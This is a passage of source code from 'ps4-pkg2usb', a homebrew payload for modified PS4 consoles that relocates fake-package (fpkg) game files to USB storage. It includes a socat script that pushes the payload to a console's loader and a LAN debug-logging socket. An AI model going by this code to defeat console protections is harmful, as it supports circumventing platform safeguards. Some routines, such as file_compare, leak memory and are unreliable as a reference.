101 | #endif
102 | 
103 | /* Stop parsing on first error (default is to keep parsing). */
104 | #ifndef CFG_STOP_ON_FIRST_ERROR
105 | #define CFG_STOP_ON_FIRST_ERROR 0
106 | #endif
107 | 
108 | #endif /* __CFG_H__ */
109 | 


--------------------------------------------------------------------------------
/include/debug.h:
--------------------------------------------------------------------------------
 1 | #ifndef DEBUG_H
 2 | #define DEBUG_H
 3 | 
 4 | #define PRIx64 "llx"
 5 | #define PRIu64 "llu"
 6 | #define PRId64 "lld"
 7 | 
 8 | int sock;
 9 | char notify_buf[512];
10 | 
11 | void initDebugSocket(void);
12 | void closeDebugSocket(void);
13 | 
14 | #ifdef DEBUG_SOCKET
15 | #define printfsocket(format, ...)\
16 | do {\
17 | 	char __printfsocket_buffer[512];\
18 | 	int __printfsocket_size = sprintf(__printfsocket_buffer, format, ##__VA_ARGS__);\
19 | 	sceNetSend(sock, __printfsocket_buffer, __printfsocket_size, 0);\
20 | } while(0)
21 | #else
22 | #define printfsocket(format, ...) (void)0
23 | #endif
24 | 
25 | void notify(char *message);
26 | 
27 | #endif
28 | 


--------------------------------------------------------------------------------
/include/defines.h:
--------------------------------------------------------------------------------
 1 | #ifndef __DEFINES
 2 | #define __DEFINES
 3 | 
 4 | #define VERSION "1.0"
 5 | 
 6 | #define CONFIG_FILE "ps4-pkg2usb.cfg"
 7 | 
 8 | //#define DEBUG_SOCKET
 9 | 
10 | #define LOG_IP   "192.168.1.200"
11 | #define LOG_PORT 9023
12 | 
13 | #endif
14 | 


--------------------------------------------------------------------------------
/include/elf64.h:
--------------------------------------------------------------------------------
  1 | /*-
  2 |  * Copyright (c) 1996-1998 John D. Polstra.
  3 |  * All rights reserved.
  4 |  *
  5 |  * Redistribution and use in source and binary forms, with or without
  6 |  * modification, are permitted provided that the following conditions
  7 |  * are met:
  8 |  * 1. Redistributions of source code must retain the above copyright
  9 |  *    notice, this list of conditions and the following disclaimer.
 10 |  * 2. Redistributions in binary form must reproduce the above copyright
 11 |  *    notice, this list of conditions and the following disclaimer in the
 12 |  *    documentation and/or other materials provided with the distribution.
 13 |  *
 14 |  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 15 |  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 16 |  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 17 |  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 18 |  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 19 |  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 20 |  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 21 |  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 22 |  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 23 |  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 24 |  * SUCH DAMAGE.
 25 |  *
 26 |  * $FreeBSD: release/9.0.0/sys/sys/elf64.h 186667 2009-01-01 02:08:56Z obrien $
 27 |  */
 28 | 
 29 | 
 30 | 
 31 | #include "elf_common.h"
 32 | 
 33 | /*
 34 |  * ELF definitions common to all 64-bit architectures.
 35 |  */
 36 | 
 37 | typedef uint64_t	Elf64_Addr;
 38 | typedef uint16_t	Elf64_Half;
 39 | typedef uint64_t	Elf64_Off;
 40 | typedef int32_t		Elf64_Sword;
 41 | typedef int64_t		Elf64_Sxword;
 42 | typedef uint32_t	Elf64_Word;
 43 | typedef uint64_t	Elf64_Lword;
 44 | typedef uint64_t	Elf64_Xword;
 45 | 
 46 | /*
 47 |  * Types of dynamic symbol hash table bucket and chain elements.
 48 |  *
 49 |  * This is inconsistent among 64 bit architectures, so a machine dependent
 50 |  * typedef is required.
 51 |  */
 52 | 
 53 | typedef Elf64_Word	Elf64_Hashelt;
 54 | 
 55 | /* Non-standard class-dependent datatype used for abstraction. */
 56 | typedef Elf64_Xword	Elf64_Size;
 57 | typedef Elf64_Sxword	Elf64_Ssize;
 58 | 
 59 | /*
 60 |  * ELF header.
 61 |  */
 62 | 
 63 | typedef struct {
 64 | 	unsigned char	e_ident[EI_NIDENT];	/* File identification. */
 65 | 	Elf64_Half	e_type;		/* File type. */
 66 | 	Elf64_Half	e_machine;	/* Machine architecture. */
 67 | 	Elf64_Word	e_version;	/* ELF format version. */
 68 | 	Elf64_Addr	e_entry;	/* Entry point. */
 69 | 	Elf64_Off	e_phoff;	/* Program header file offset. */
 70 | 	Elf64_Off	e_shoff;	/* Section header file offset. */
 71 | 	Elf64_Word	e_flags;	/* Architecture-specific flags. */
 72 | 	Elf64_Half	e_ehsize;	/* Size of ELF header in bytes. */
 73 | 	Elf64_Half	e_phentsize;	/* Size of program header entry. */
 74 | 	Elf64_Half	e_phnum;	/* Number of program header entries. */
 75 | 	Elf64_Half	e_shentsize;	/* Size of section header entry. */
 76 | 	Elf64_Half	e_shnum;	/* Number of section header entries. */
 77 | 	Elf64_Half	e_shstrndx;	/* Section name strings section. */
 78 | } Elf64_Ehdr;
 79 | 
 80 | /*
 81 |  * Section header.
 82 |  */
 83 | 
 84 | typedef struct {
 85 | 	Elf64_Word	sh_name;	/* Section name (index into the
 86 | 					   section header string table). */
 87 | 	Elf64_Word	sh_type;	/* Section type. */
 88 | 	Elf64_Xword	sh_flags;	/* Section flags. */
 89 | 	Elf64_Addr	sh_addr;	/* Address in memory image. */
 90 | 	Elf64_Off	sh_offset;	/* Offset in file. */
 91 | 	Elf64_Xword	sh_size;	/* Size in bytes. */
 92 | 	Elf64_Word	sh_link;	/* Index of a related section. */
 93 | 	Elf64_Word	sh_info;	/* Depends on section type. */
 94 | 	Elf64_Xword	sh_addralign;	/* Alignment in bytes. */
 95 | 	Elf64_Xword	sh_entsize;	/* Size of each entry in section. */
 96 | } Elf64_Shdr;
 97 | 
 98 | /*
 99 |  * Program header.
100 |  */
101 | 
102 | typedef struct {
103 | 	Elf64_Word	p_type;		/* Entry type. */
104 | 	Elf64_Word	p_flags;	/* Access permission flags. */
105 | 	Elf64_Off	p_offset;	/* File offset of contents. */
106 | 	Elf64_Addr	p_vaddr;	/* Virtual address in memory image. */
107 | 	Elf64_Addr	p_paddr;	/* Physical address (not used). */
108 | 	Elf64_Xword	p_filesz;	/* Size of contents in file. */
109 | 	Elf64_Xword	p_memsz;	/* Size of contents in memory. */
110 | 	Elf64_Xword	p_align;	/* Alignment in memory and file. */
111 | } Elf64_Phdr;
112 | 
113 | /*
114 |  * Dynamic structure.  The ".dynamic" section contains an array of them.
115 |  */
116 | 
117 | typedef struct {
118 | 	Elf64_Sxword	d_tag;		/* Entry type. */
119 | 	union {
120 | 		Elf64_Xword	d_val;	/* Integer value. */
121 | 		Elf64_Addr	d_ptr;	/* Address value. */
122 | 	} d_un;
123 | } Elf64_Dyn;
124 | 
125 | /*
126 |  * Relocation entries.
127 |  */
128 | 
129 | /* Relocations that don't need an addend field. */
130 | typedef struct {
131 | 	Elf64_Addr	r_offset;	/* Location to be relocated. */
132 | 	Elf64_Xword	r_info;		/* Relocation type and symbol index. */
133 | } Elf64_Rel;
134 | 
135 | /* Relocations that need an addend field. */
136 | typedef struct {
137 | 	Elf64_Addr	r_offset;	/* Location to be relocated. */
138 | 	Elf64_Xword	r_info;		/* Relocation type and symbol index. */
139 | 	Elf64_Sxword	r_addend;	/* Addend. */
140 | } Elf64_Rela;
141 | 
142 | /* Macros for accessing the fields of r_info. */
143 | #define	ELF64_R_SYM(info)	((info) >> 32)
144 | #define	ELF64_R_TYPE(info)	((info) & 0xffffffffL)
145 | 
146 | /* Macro for constructing r_info from field values. */
147 | #define	ELF64_R_INFO(sym, type)	(((sym) << 32) + ((type) & 0xffffffffL))
148 | 
149 | #define	ELF64_R_TYPE_DATA(info)	(((Elf64_Xword)(info)<<32)>>40)
150 | #define	ELF64_R_TYPE_ID(info)	(((Elf64_Xword)(info)<<56)>>56)
151 | #define	ELF64_R_TYPE_INFO(data, type)	\
152 | 				(((Elf64_Xword)(data)<<8)+(Elf64_Xword)(type))
153 | 
154 | /*
155 |  *	Note entry header
156 |  */
157 | typedef Elf_Note Elf64_Nhdr;
158 | 
159 | /*
160 |  *	Move entry
161 |  */
162 | typedef struct {
163 | 	Elf64_Lword	m_value;	/* symbol value */
164 | 	Elf64_Xword 	m_info;		/* size + index */
165 | 	Elf64_Xword	m_poffset;	/* symbol offset */
166 | 	Elf64_Half	m_repeat;	/* repeat count */
167 | 	Elf64_Half	m_stride;	/* stride info */
168 | } Elf64_Move;
169 | 
170 | #define	ELF64_M_SYM(info)	((info)>>8)
171 | #define	ELF64_M_SIZE(info)	((unsigned char)(info))
172 | #define	ELF64_M_INFO(sym, size)	(((sym)<<8)+(unsigned char)(size))
173 | 
174 | /*
175 |  *	Hardware/Software capabilities entry
176 |  */
177 | typedef struct {
178 | 	Elf64_Xword	c_tag;		/* how to interpret value */
179 | 	union {
180 | 		Elf64_Xword	c_val;
181 | 		Elf64_Addr	c_ptr;
182 | 	} c_un;
183 | } Elf64_Cap;
184 | 
185 | /*
186 |  * Symbol table entries.
187 |  */
188 | 
189 | typedef struct {
190 | 	Elf64_Word	st_name;	/* String table index of name. */
191 | 	unsigned char	st_info;	/* Type and binding information. */
192 | 	unsigned char	st_other;	/* Reserved (not used). */
193 | 	Elf64_Half	st_shndx;	/* Section index of symbol. */
194 | 	Elf64_Addr	st_value;	/* Symbol value. */
195 | 	Elf64_Xword	st_size;	/* Size of associated object. */
196 | } Elf64_Sym;
197 | 
198 | /* Macros for accessing the fields of st_info. */
199 | #define	ELF64_ST_BIND(info)		((info) >> 4)
200 | #define	ELF64_ST_TYPE(info)		((info) & 0xf)
201 | 
202 | /* Macro for constructing st_info from field values. */
203 | #define	ELF64_ST_INFO(bind, type)	(((bind) << 4) + ((type) & 0xf))
204 | 
205 | /* Macro for accessing the fields of st_other. */
206 | #define	ELF64_ST_VISIBILITY(oth)	((oth) & 0x3)
207 | 
208 | /* Structures used by Sun & GNU-style symbol versioning. */
209 | typedef struct {
210 | 	Elf64_Half	vd_version;
211 | 	Elf64_Half	vd_flags;
212 | 	Elf64_Half	vd_ndx;
213 | 	Elf64_Half	vd_cnt;
214 | 	Elf64_Word	vd_hash;
215 | 	Elf64_Word	vd_aux;
216 | 	Elf64_Word	vd_next;
217 | } Elf64_Verdef;
218 | 
219 | typedef struct {
220 | 	Elf64_Word	vda_name;
221 | 	Elf64_Word	vda_next;
222 | } Elf64_Verdaux;
223 | 
224 | typedef struct {
225 | 	Elf64_Half	vn_version;
226 | 	Elf64_Half	vn_cnt;
227 | 	Elf64_Word	vn_file;
228 | 	Elf64_Word	vn_aux;
229 | 	Elf64_Word	vn_next;
230 | } Elf64_Verneed;
231 | 
232 | typedef struct {
233 | 	Elf64_Word	vna_hash;
234 | 	Elf64_Half	vna_flags;
235 | 	Elf64_Half	vna_other;
236 | 	Elf64_Word	vna_name;
237 | 	Elf64_Word	vna_next;
238 | } Elf64_Vernaux;
239 | 
240 | typedef Elf64_Half Elf64_Versym;
241 | 
242 | typedef struct {
243 | 	Elf64_Half	si_boundto;	/* direct bindings - symbol bound to */
244 | 	Elf64_Half	si_flags;	/* per symbol flags */
245 | } Elf64_Syminfo;
246 | 
247 | 
248 | 


--------------------------------------------------------------------------------
/include/link.h:
--------------------------------------------------------------------------------
1 | #ifndef LINK_H
2 | #define LINK_H
3 | 
4 | void link_pkg(char *title_id, char *usb_path);
5 | int file_exists(char *filename);
6 | 
7 | #endif
8 | 


--------------------------------------------------------------------------------
/include/main.h:
--------------------------------------------------------------------------------
 1 | #ifndef MAIN_H
 2 | #define MAIN_H
 3 | 
 4 | #define SPLIT_APP   1
 5 | #define SPLIT_PATCH 2
 6 | 
 7 | typedef struct
 8 | {
 9 |     char* title_id;
10 |     int copy;
11 |     int split;
12 |     int notify;
13 |     int shutdown;
14 | } configuration;
15 | 
16 | extern configuration config;
17 | 
18 | #endif
19 | 


--------------------------------------------------------------------------------
/include/pkg.h:
--------------------------------------------------------------------------------
 1 | #ifndef PKG_H
 2 | #define PKG_H
 3 | 
 4 | #define PS4_PKG_MAGIC 0x544E437F // .CNT
 5 | 
 6 | enum PS4_PKG_ENTRY_TYPES
 7 | {
 8 |   PS4_PKG_ENTRY_TYPE_DIGEST_TABLE = 0x0001,
 9 |   PS4_PKG_ENTRY_TYPE_0x800        = 0x0010,
10 |   PS4_PKG_ENTRY_TYPE_0x200        = 0x0020,
11 |   PS4_PKG_ENTRY_TYPE_0x180        = 0x0080,
12 |   PS4_PKG_ENTRY_TYPE_META_TABLE   = 0x0100,
13 |   PS4_PKG_ENTRY_TYPE_NAME_TABLE   = 0x0200,
14 |   PS4_PKG_ENTRY_TYPE_LICENSE      = 0x0400,
15 |   PS4_PKG_ENTRY_TYPE_FILE1        = 0x1000,
16 |   PS4_PKG_ENTRY_TYPE_FILE2        = 0x1200
17 | };
18 | 
19 | // CNT/PKG structures.
20 | struct cnt_pkg_main_header
21 | {
22 |   uint32_t magic;
23 |   uint32_t type;
24 |   uint32_t unk_0x08;
25 |   uint32_t unk_0x0C;
26 |   uint16_t unk1_entries_num;
27 |   uint16_t table_entries_num;
28 |   uint16_t system_entries_num;
29 |   uint16_t unk2_entries_num;
30 |   uint32_t file_table_offset;
31 |   uint32_t main_entries_data_size;
32 |   uint32_t unk_0x20;
33 |   uint32_t body_offset;
34 |   uint32_t unk_0x28;
35 |   uint32_t body_size;
36 |   uint8_t  unk_0x30[0x10];
37 |   uint8_t  content_id[0x30];
38 |   uint32_t unk_0x70;
39 |   uint32_t unk_0x74;
40 |   uint32_t unk_0x78;
41 |   uint32_t unk_0x7C;
42 |   uint32_t date;
43 |   uint32_t time;
44 |   uint32_t unk_0x88;
45 |   uint32_t unk_0x8C;
46 |   uint8_t  unk_0x90[0x70];
47 |   uint8_t  main_entries1_digest[0x20];
48 |   uint8_t  main_entries2_digest[0x20];
49 |   uint8_t  digest_table_digest[0x20];
50 |   uint8_t  body_digest[0x20];
51 | } __attribute__((packed));
52 | 
53 | struct cnt_pkg_content_header
54 | {
55 |   uint32_t unk_0x400;
56 |   uint32_t unk_0x404;
57 |   uint32_t unk_0x408;
58 |   uint32_t unk_0x40C;
59 |   uint32_t unk_0x410;
60 |   uint32_t content_offset;
61 |   uint32_t unk_0x418;
62 |   uint32_t content_size;
63 |   uint32_t unk_0x420;
64 |   uint32_t unk_0x424;
65 |   uint32_t unk_0x428;
66 |   uint32_t unk_0x42C;
67 |   uint32_t unk_0x430;
68 |   uint32_t unk_0x434;
69 |   uint32_t unk_0x438;
70 |   uint32_t unk_0x43C;
71 |   uint8_t  content_digest[0x20];
72 |   uint8_t  content_one_block_digest[0x20];
73 | } __attribute__((packed));
74 | 
75 | struct cnt_pkg_table_entry
76 | {
77 |   uint32_t type;
78 |   uint32_t unk1;
79 |   uint32_t flags1;
80 |   uint32_t flags2;
81 |   uint32_t offset;
82 |   uint32_t size;
83 |   uint32_t unk2;
84 |   uint32_t unk3;
85 | } __attribute__((packed));
86 | 
87 | // Internal structure.
88 | struct file_entry
89 | {
90 |   int offset;
91 |   int size;
92 |   char *name;
93 | };
94 | 
95 | int isfpkg(char *pkgfn);
96 | 
97 | #endif
98 | 


--------------------------------------------------------------------------------
/include/utils.h:
--------------------------------------------------------------------------------
 1 | #ifndef UTILS_H
 2 | #define UTILS_H
 3 | 
 4 | #include "types.h"
 5 | 
 6 | int symlink(const char *pathname, const char *slink);
 7 | 
 8 | int symlinkat(const char *pathname, int newdirfd, const char *slink);
 9 | 
10 | int lstat(const char *pathname, struct stat *buf);
11 | 
12 | off_t file_size(const char *filename);
13 | 
14 | int file_exists(char *fname);
15 | 
16 | int dir_exists(char *dname);
17 | 
18 | int symlink_exists(const char* fname);
19 | 
20 | int wait_for_usb(char *usb_name, char *usb_path);
21 | 
22 | char* chop(char *string);
23 | 
24 | #endif
25 | 


--------------------------------------------------------------------------------
/move.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | 
3 | ./clean.sh
4 | ./build.sh
5 | mv *.bin $PAYLOADS --force


--------------------------------------------------------------------------------
/ps4-pkg2usb.cfg:
--------------------------------------------------------------------------------
 1 | ;
 2 | ; ps4-pkg2usb configuration file. Copy it to your USB disk root.
 3 | ;
 4 | ; App.pkg destination example:
 5 | ; X:\PS4\CUSAxxxxx\app.pkg
 6 | ;
 7 | ; NB:
 8 | ; It works only with fpkg
 9 | ;
10 | ; Tips:
11 | ; If you have the app.pkg originally installed,
12 | ; you can avoid copying from the hard disk by putting the file itself in usb X:\PS4\CUSAxxxxx\app.pkg
13 | ; To restore internal app.pkg just resinstall as usal
14 | ; 
15 | ; Coded by SiSTRO - Cedits to XVortex & Anonymous
16 | ;
17 | 
18 | ; Installed app/game title id
19 | title_id=CUSA00000
20 | 
21 | ; 0 - Do not copy app.pkg from hdd
22 | ; 1 - Copy app.pkg from hdd to usb
23 | copy=1
24 | 
25 | ; Notification interval in s. (0 - disables notifications)
26 | notify=60
27 | 
28 | ; Turn off the console when it has completed (0/1)
29 | shutdown=0


--------------------------------------------------------------------------------
/send.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | 
3 | socat -u FILE:ps4-pkg2usb.bin TCP:192.168.1.124:9020
4 | socat - tcp-listen:9023


--------------------------------------------------------------------------------
/source/cfg.c:
--------------------------------------------------------------------------------
  1 | /* inih -- simple .ini/.cfg file parser
  2 | 
  3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project
  4 | home page for more info:
  5 | 
  6 | https://github.com/benhoyt/inih
  7 | 
  8 | */
  9 | 
 10 | #include "ps4.h"
 11 | #include "defines.h"
 12 | #include "cfg.h"
 13 | 
 14 | #define MAX_NAME 50
 15 | 
 16 | #define EOF '\00'
 17 | 
 18 | static inline int fgetc(FILE *fp)
 19 | {
 20 |     char c;
 21 | 
 22 |     if (fread(&c, 1, 1, fp) == 0)
 23 |         return (EOF);
 24 |     return (c);
 25 | }
 26 | 
 27 | static char *fgets(char *dst, int max, FILE *fp)
 28 | {
 29 |     int c = EOF;
 30 |     char *p;
 31 | 
 32 |     /* get max bytes or upto a newline */
 33 |     for (p = dst, max--; max > 0; max--)
 34 |     {
 35 |         if ((c = fgetc (fp)) == EOF)
 36 |             break;
 37 |         *p++ = c;
 38 |         if (c == '\n')
 39 |              break;
 40 |     }
 41 |     *p = 0;
 42 |     if (p == dst || c == EOF)
 43 |         return NULL;
 44 |     return (p);
 45 | }
 46 | 
 47 | bool isspace(int c)
 48 | {
 49 |     return c == ' ' || c == '\t';
 50 | }
 51 | 
 52 | /* Used by cfg_parse_string() to keep track of string parsing state. */
 53 | typedef struct {
 54 |     const char* ptr;
 55 |     size_t num_left;
 56 | } cfg_parse_string_ctx;
 57 | 
 58 | /* Strip whitespace chars off end of given string, in place. Return s. */
 59 | static char* rstrip(char* s)
 60 | {
 61 |     char* p = s + strlen(s);
 62 |     while (p > s && isspace((unsigned char)(*--p)))
 63 |         *p = '\0';
 64 |     return s;
 65 | }
 66 | 
 67 | /* Return pointer to first non-whitespace char in given string. */
 68 | static char* lskip(const char* s)
 69 | {
 70 |     while (*s && isspace((unsigned char)(*s)))
 71 |         s++;
 72 |     return (char*)s;
 73 | }
 74 | 
 75 | /* Return pointer to first char (of chars) or inline comment in given string,
 76 |    or pointer to null at end of string if neither found. Inline comment must
 77 |    be prefixed by a whitespace character to register as a comment. */
 78 | static char* find_chars_or_comment(const char* s, const char* chars)
 79 | {
 80 | #if CFG_ALLOW_INLINE_COMMENTS
 81 |     int was_space = 0;
 82 |     while (*s && (!chars || !strchr(chars, *s)) &&
 83 |            !(was_space && strchr(CFG_INLINE_COMMENT_PREFIXES, *s))) {
 84 |         was_space = isspace((unsigned char)(*s));
 85 |         s++;
 86 |     }
 87 | #else
 88 |     while (*s && (!chars || !strchr(chars, *s))) {
 89 |         s++;
 90 |     }
 91 | #endif
 92 |     return (char*)s;
 93 | }
 94 | 
 95 | /* Version of strncpy that ensures dest (size bytes) is null-terminated. */
 96 | static char* strncpy0(char* dest, const char* src, size_t size)
 97 | {
 98 |     strncpy(dest, src, size);
 99 |     dest[size - 1] = '\0';
100 |     return dest;
101 | }
102 | 
103 | /* See documentation in header file. */
104 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler, void* user)
105 | {
106 |     /* Uses a fair bit of stack (use heap instead if you need to) */
107 | #if CFG_USE_STACK
108 |     char line[CFG_MAX_LINE];
109 |     int max_line = CFG_MAX_LINE;
110 | #else
111 |     char* line;
112 |     int max_line = CFG_INITIAL_ALLOC;
113 | #endif
114 | #if CFG_ALLOW_REALLOC
115 |     char* new_line;
116 |     int offset;
117 | #endif
118 |     char prev_name[MAX_NAME] = "";
119 | 
120 |     char* start;
121 |     char* end;
122 |     char* name;
123 |     char* value;
124 |     int lineno = 0;
125 |     int error = 0;
126 | 
127 | #if !CFG_USE_STACK
128 |     line = (char*)malloc(CFG_INITIAL_ALLOC);
129 |     if (!line) {
130 |         return -2;
131 |     }
132 | #endif
133 | 
134 | #if CFG_HANDLER_LINENO
135 | #define HANDLER(u, n, v) handler(u, n, v, lineno)
136 | #else
137 | #define HANDLER(u, n, v) handler(u, n, v)
138 | #endif
139 | 
140 |     /* Scan through stream line by line */
141 |     while (reader(line, max_line, stream) != NULL) {
142 | #if CFG_ALLOW_REALLOC
143 |         offset = strlen(line);
144 |         while (offset == max_line - 1 && line[offset - 1] != '\n') {
145 |             max_line *= 2;
146 |             if (max_line > CFG_MAX_LINE)
147 |                 max_line = CFG_MAX_LINE;
148 |             new_line = realloc(line, max_line);
149 |             if (!new_line) {
150 |                 free(line);
151 |                 return -2;
152 |             }
153 |             line = new_line;
154 |             if (reader(line + offset, max_line - offset, stream) == NULL)
155 |                 break;
156 |             if (max_line >= CFG_MAX_LINE)
157 |                 break;
158 |             offset += strlen(line + offset);
159 |         }
160 | #endif
161 | 
162 |         lineno++;
163 | 
164 |         start = line;
165 | #if CFG_ALLOW_BOM
166 |         if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
167 |                            (unsigned char)start[1] == 0xBB &&
168 |                            (unsigned char)start[2] == 0xBF) {
169 |             start += 3;
170 |         }
171 | #endif
172 |         start = lskip(rstrip(start));
173 | 
174 |         if (*start == ';' || *start == '#') {
175 |             /* Per Python configparser, allow both ; and # comments at the
176 |                start of a line */
177 |         }
178 | #if CFG_ALLOW_MULTILINE
179 |         else if (*prev_name && *start && start > line) {
180 |             /* Non-blank line with leading whitespace, treat as continuation
181 |                of previous name's value (as per Python configparser). */
182 |             if (!HANDLER(user, prev_name, start) && !error)
183 |                 error = lineno;
184 |         }
185 | #endif
186 |         else if (*start) {
187 |             /* Not a comment, must be a name[=:]value pair */
188 |             end = find_chars_or_comment(start, "=:");
189 |             if (*end == '=' || *end == ':') {
190 |                 *end = '\0';
191 |                 name = rstrip(start);
192 |                 value = end + 1;
193 | #if CFG_ALLOW_INLINE_COMMENTS
194 |                 end = find_chars_or_comment(value, NULL);
195 |                 if (*end)
196 |                     *end = '\0';
197 | #endif
198 |                 value = lskip(value);
199 |                 rstrip(value);
200 | 
201 |                 /* Valid name[=:]value pair found, call handler */
202 |                 strncpy0(prev_name, name, sizeof(prev_name));
203 |                 if (!HANDLER(user, name, value) && !error)
204 |                     error = lineno;
205 |             }
206 |             else if (!error) {
207 |                 /* No '=' or ':' found on name[=:]value line */
208 |                 error = lineno;
209 |             }
210 |         }
211 | 
212 | #if CFG_STOP_ON_FIRST_ERROR
213 |         if (error)
214 |             break;
215 | #endif
216 |     }
217 | 
218 | #if !CFG_USE_STACK
219 |     free(line);
220 | #endif
221 | 
222 |     return error;
223 | }
224 | 
225 | /* See documentation in header file. */
226 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user)
227 | {
228 |     return cfg_parse_stream((cfg_reader)fgets, file, handler, user);
229 | }
230 | 
231 | /* See documentation in header file. */
232 | int cfg_parse(const char* filename, cfg_handler handler, void* user)
233 | {
234 |     FILE* file;
235 |     int error;
236 | 
237 |     file = fopen(filename, "r");
238 |     if (!file)
239 |         return -1;
240 |     error = cfg_parse_file(file, handler, user);
241 |     fclose(file);
242 |     return error;
243 | }
244 | 
245 | /* An cfg_reader function to read the next line from a string buffer. This
246 |    is the fgets() equivalent used by cfg_parse_string(). */
247 | static char* cfg_reader_string(char* str, int num, void* stream) {
248 |     cfg_parse_string_ctx* ctx = (cfg_parse_string_ctx*)stream;
249 |     const char* ctx_ptr = ctx->ptr;
250 |     size_t ctx_num_left = ctx->num_left;
251 |     char* strp = str;
252 |     char c;
253 | 
254 |     if (ctx_num_left == 0 || num < 2)
255 |         return NULL;
256 | 
257 |     while (num > 1 && ctx_num_left != 0) {
258 |         c = *ctx_ptr++;
259 |         ctx_num_left--;
260 |         *strp++ = c;
261 |         if (c == '\n')
262 |             break;
263 |         num--;
264 |     }
265 | 
266 |     *strp = '\0';
267 |     ctx->ptr = ctx_ptr;
268 |     ctx->num_left = ctx_num_left;
269 |     return str;
270 | }
271 | 
272 | /* See documentation in header file. */
273 | int cfg_parse_string(const char* string, cfg_handler handler, void* user) {
274 |     cfg_parse_string_ctx ctx;
275 | 
276 |     ctx.ptr = string;
277 |     ctx.num_left = strlen(string);
278 |     return cfg_parse_stream((cfg_reader)cfg_reader_string, &ctx, handler, user);
279 | }
280 | 


--------------------------------------------------------------------------------
/source/debug.c:
--------------------------------------------------------------------------------
 1 | #include "ps4.h"
 2 | #include "defines.h"
 3 | #include "debug.h"
 4 | #include "main.h"
 5 | 
 6 | #ifdef DEBUG_SOCKET
 7 | 
 8 | int sock;
 9 | 
10 | void initDebugSocket(void)
11 | {
12 | 	struct sockaddr_in server;
13 | 
14 | 	server.sin_len = sizeof(server);
15 | 	server.sin_family = AF_INET;
16 | 	sceNetInetPton(AF_INET, LOG_IP, &server.sin_addr);
17 | 	server.sin_port = sceNetHtons(LOG_PORT);
18 | 	memset(server.sin_zero, 0, sizeof(server.sin_zero));
19 | 	sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
20 | 	sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
21 | 
22 | 	int flag = 1;
23 | 	sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
24 | }
25 | 
26 | void closeDebugSocket(void)
27 | {
28 | 	sceNetSocketClose(sock);
29 | }
30 | 
31 | #endif
32 | 
33 | void notify(char *message)
34 | {
35 | 	if (!config.notify) return;
36 | 	char buffer[512];
37 | 	sprintf(buffer, "%s\n\n\n\n\n\n\n", message);
38 | 	sceSysUtilSendSystemNotificationWithText(0x81, buffer);
39 | }
40 | 


--------------------------------------------------------------------------------
/source/link.c:
--------------------------------------------------------------------------------
  1 | #include "ps4.h"
  2 | #include "defines.h"
  3 | #include "debug.h"
  4 | #include "main.h"
  5 | #include "elf64.h"
  6 | #include "link.h"
  7 | #include "utils.h"
  8 | #include "pkg.h"
  9 | 
 10 | #define BUFFER_SIZE 65536
 11 | 
 12 | int file_compare(char *fname1, char *fname2)
 13 | {
 14 |     long size1, size2;
 15 | 
 16 |     int  bytesRead1 = 0,
 17 |          bytesRead2 = 0,
 18 |          lastBytes = 100,
 19 |          res = 0,
 20 |          i;
 21 | 
 22 |     FILE *file1 = fopen(fname1, "rb"),
 23 |          *file2 = fopen(fname2, "rb");
 24 | 
 25 |     char *buffer1 = malloc(BUFFER_SIZE),
 26 |          *buffer2 = malloc(BUFFER_SIZE);
 27 | 
 28 |     if (!file1 || !file2) {
 29 |         return res; // res = 0;
 30 |     }
 31 | 
 32 |     fseek (file1, 0, SEEK_END);
 33 |     fseek (file2, 0, SEEK_END);
 34 | 
 35 |     size1 = ftell (file1);
 36 |     size2 = ftell (file2);
 37 | 
 38 |     fseek(file1, 0L, SEEK_SET);
 39 |     fseek(file2, 0L, SEEK_SET);
 40 | 
 41 |     if (size1 != size2) {
 42 |         //printfsocket("Different size > size1: %ld - size2: %ld\n", size1, size2);
 43 |         res = 0;
 44 |         goto exit;
 45 |     }
 46 |     //printfsocket("size1: %ld - size2: %ld\n", size1, size2);
 47 | 
 48 |     if (size1 < lastBytes) lastBytes = size1;
 49 | 
 50 |     fseek(file1, -lastBytes, SEEK_END);
 51 |     fseek(file2, -lastBytes, SEEK_END);
 52 | 
 53 |     bytesRead1 = fread(buffer1, sizeof(char), lastBytes, file1);
 54 |     bytesRead2 = fread(buffer2, sizeof(char), lastBytes, file2);
 55 | 
 56 |     if (bytesRead1 > 0 && bytesRead1 == bytesRead2) {
 57 |         for ( i = 0; i < bytesRead1; i++) {
 58 |             if (buffer1[i] != buffer2[i]) {
 59 |                 //printfsocket("Different lastBytes %d\n", lastBytes);
 60 |                 res = 0;
 61 |                 goto exit;
 62 |             }
 63 |         }
 64 | 
 65 |         //printfsocket("Same lastBytes %d\n", lastBytes);
 66 |         res = 1;
 67 |     }
 68 | 
 69 |     free(buffer1);
 70 |     free(buffer2);
 71 | 
 72 |     exit:
 73 |     //printfsocket("Closing files\n");
 74 |     fclose(file1);
 75 |     fclose(file2);
 76 | 
 77 |     return res;
 78 | }
 79 | 
 80 | void copy_file(char *sourcefile, char* destfile)
 81 | {
 82 |     char msg[64];
 83 | 
 84 |     FILE *src = fopen(sourcefile, "rb");
 85 |     if (src)
 86 |     {
 87 |         FILE *out = fopen(destfile,"wb");
